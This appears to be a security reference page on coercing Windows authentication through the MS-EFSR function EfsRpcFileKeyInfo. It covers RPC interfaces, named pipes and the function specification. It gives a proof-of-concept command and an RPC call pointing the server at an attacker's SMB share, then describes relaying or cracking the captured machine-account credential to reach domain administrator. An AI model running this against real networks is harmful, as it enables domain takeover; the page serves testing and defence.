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MS-EFSR - Remote call to EfsRpcFileKeyInfo (opnum 12)

Summary

  • Protocol: [MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol

  • Function name: EfsRpcFileKeyInfo

  • Function operation number: 12

  • RPC Interfaces:

    • Interface 1:
      • uuid=c681d488-d850-11d0-8c52-00c04fd90f7e
      • version=1.0
      • Accessible through:
        • SMB named pipe: \PIPE\lsarpc
        • SMB named pipe: \PIPE\lsass
        • SMB named pipe: \PIPE\netlogon
        • SMB named pipe: \PIPE\samr
    • Interface 2:
      • uuid=df1941c5-fe89-4e79-bf10-463657acf44d
      • version=1.0
      • Accessible through:
        • SMB named pipe: \PIPE\efsrpc

Description

In order to call a remote procedure to trigger an authentication from the remote machine to an arbitrary target, we first need to authenticate to the remote machine, usually on SMB. Then we need to connect to the remote SMB pipe \pipe\lsarpc and bind to the desired MS-EFSR protocol (with uuid c681d488-d850-11d0-8c52-00c04fd90f7e and version 1.0) in order to perform remote procedure calls to functions in the MS-EFSR protocol.

The IP 192.168.2.51 being my attacking machine where I listen with Responder, and 192.168.2.1 being the IP of my Windows Server. When starting this script, it will authenticate and connect to the remote pipe named \PIPE\lsarpc. This pipe is connected to the protocol [MS-EFSR]: Encrypting File System Remote (EFSRPC) Protocol and allows to call RPC functions of this protocol. It will then call the remote EfsRpcFileKeyInfo function on the Windows Server (192.168.2.1) with the following parameters:

EfsRpcFileKeyInfo("\\\\192.168.2.51\\share\\file.txt\x00", 0)

We can try this with this proof of concept code (coerce_poc.py):

./coerce_poc.py -d "LAB.local" -u "user1" -p "Podalirius123!" 192.168.2.51 192.168.2.1

This will force the Windows Server (192.168.2.1) to authenticate to the SMB share \\192.168.2.51\share\file.txt and therefore authenticate using its machine account (DC01$). After this RPC call, we get an authentication from the domain controller with its machine account directly on Responder:

After this step, we relay the authentication to other services in order to elevate our privileges, or try to downgrade it to NTLMv1 and crack it in order to get the NT hash of the domain controller's machine account. This kind of vulnerabilities allows to quickly get from user to domain administrator in unprotected domains!


Function technical detail

DWORD EfsRpcFileKeyInfo(
    [in] handle_t binding_h,
    [in, string] wchar_t* FileName,
    [in] DWORD InfoClass,
    [out] EFS_RPC_BLOB** KeyInfo
);
  • binding_h: This is an RPC binding handle parameter, as specified in [C706] and [MS-RPCE] section 2.

  • FileName: An EFSRPC identifier, as specified in section 2.2.1.

  • InfoClass: One of the values in the following table. With the exception of UPDATE_KEY_USED (0x00000100), a server SHOULD support all of these values. A server MAY choose to support UPDATE_KEY_USED.<45>

Name Value Description
BASIC_KEY_INFO 0x00000001 Request information about the keys used to encrypt the object's contents. On success, the server will return the information in an EFS_KEY_INFO (2.2.14) structure in the KeyInfo parameter.
CHECK_COMPATIBILITY_INFO 0x00000002 Requests the EfsVersion for the encrypted file. On success, the server will return the information in an EFS_COMPATIBILITY_INFO structure in the KeyInfo parameter.
UPDATE_KEY_USED 0x00000100 Update the user certificates used to give a specific user access to an object. The server will populate the KeyInfo parameter with a zero-terminated, wide character Unicode string that contains a newline-separated list of names of objects successfully updated.
CHECK_DECRYPTION_STATUS 0x00000200 Request a hint from the server as to whether the given object could be successfully decrypted without further user intervention or higher-level events. The server will return this information in an EFS_DECRYPTION_STATUS_INFO structure in the KeyInfo parameter.
CHECK_ENCRYPTION_STATUS 0x00000400 Request a hint from the server as to whether the given object could be successfully encrypted without further user intervention or higher-level events. The server will return this information in an EFS_ENCRYPTION_STATUS_INFO structure in the KeyInfo parameter.
  • KeyInfo: Returned by the server, as previously specified.

References